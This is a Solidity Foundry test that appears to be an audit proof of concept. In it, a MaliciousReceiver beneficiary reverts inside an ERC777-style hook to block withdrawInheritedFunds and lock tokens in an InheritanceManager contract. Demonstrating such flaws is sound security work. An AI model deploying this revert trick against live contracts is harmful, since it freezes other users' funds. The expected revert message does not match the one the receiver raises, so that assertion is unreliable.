pragma solidity 0.8.26;
import "forge-std/Test.sol";
import "../../src/InheritanceManager.sol";
contract ERC777DoSTest is Test {
InheritanceManager public target;
MockERC777 public token;
MaliciousReceiver public attacker;
address public normalBeneficiary1;
address public normalBeneficiary2;
function setUp() public {
target = new InheritanceManager();
token = new MockERC777("Test Token", "TEST");
normalBeneficiary1 = makeAddr("normalBeneficiary1");
normalBeneficiary2 = makeAddr("normalBeneficiary2");
attacker = new MaliciousReceiver();
target.addBeneficiery(address(attacker));
target.addBeneficiery(normalBeneficiary1);
target.addBeneficiery(normalBeneficiary2);
vm.warp(block.timestamp + 91 days);
vm.prank(normalBeneficiary1);
target.inherit();
token.mint(address(target), 1000 ether);
}
function testERC777DoSAttack() public {
attacker.setShouldRevert(true);
vm.prank(normalBeneficiary1);
vm.expectRevert();
target.withdrawInheritedFunds(address(token));
assertEq(token.balanceOf(address(target)), 1000 ether, "Tokens should remain locked in target");
assertEq(token.balanceOf(normalBeneficiary1), 0, "Normal beneficiary should not receive tokens");
assertEq(token.balanceOf(normalBeneficiary2), 0, "Normal beneficiary should not receive tokens");
assertEq(token.balanceOf(address(attacker)), 0, "Attacker should not receive tokens");
vm.prank(address(attacker));
vm.expectRevert("Attack: Blocking token transfer");
target.withdrawInheritedFunds(address(token));
console.log("ERC777 DoS Attack: Funds are locked");
}
}
contract MockERC777 {
mapping(address => uint256) private _balances;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function mint(address account, uint256 amount) public {
_balances[account] += amount;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_balances[msg.sender] -= amount;
if (recipient.code.length > 0) {
try MaliciousReceiver(recipient).tokensReceived(msg.sender, msg.sender, recipient, amount, "", "") {
_balances[recipient] += amount;
return true;
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC777: token recipient reverted");
}
}
_balances[recipient] += amount;
return true;
}
}
contract MaliciousReceiver {
bool public shouldRevert;
function setShouldRevert(bool _shouldRevert) external {
shouldRevert = _shouldRevert;
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) external {
if (shouldRevert) {
revert("Attack: Block the transfer");
}
}
}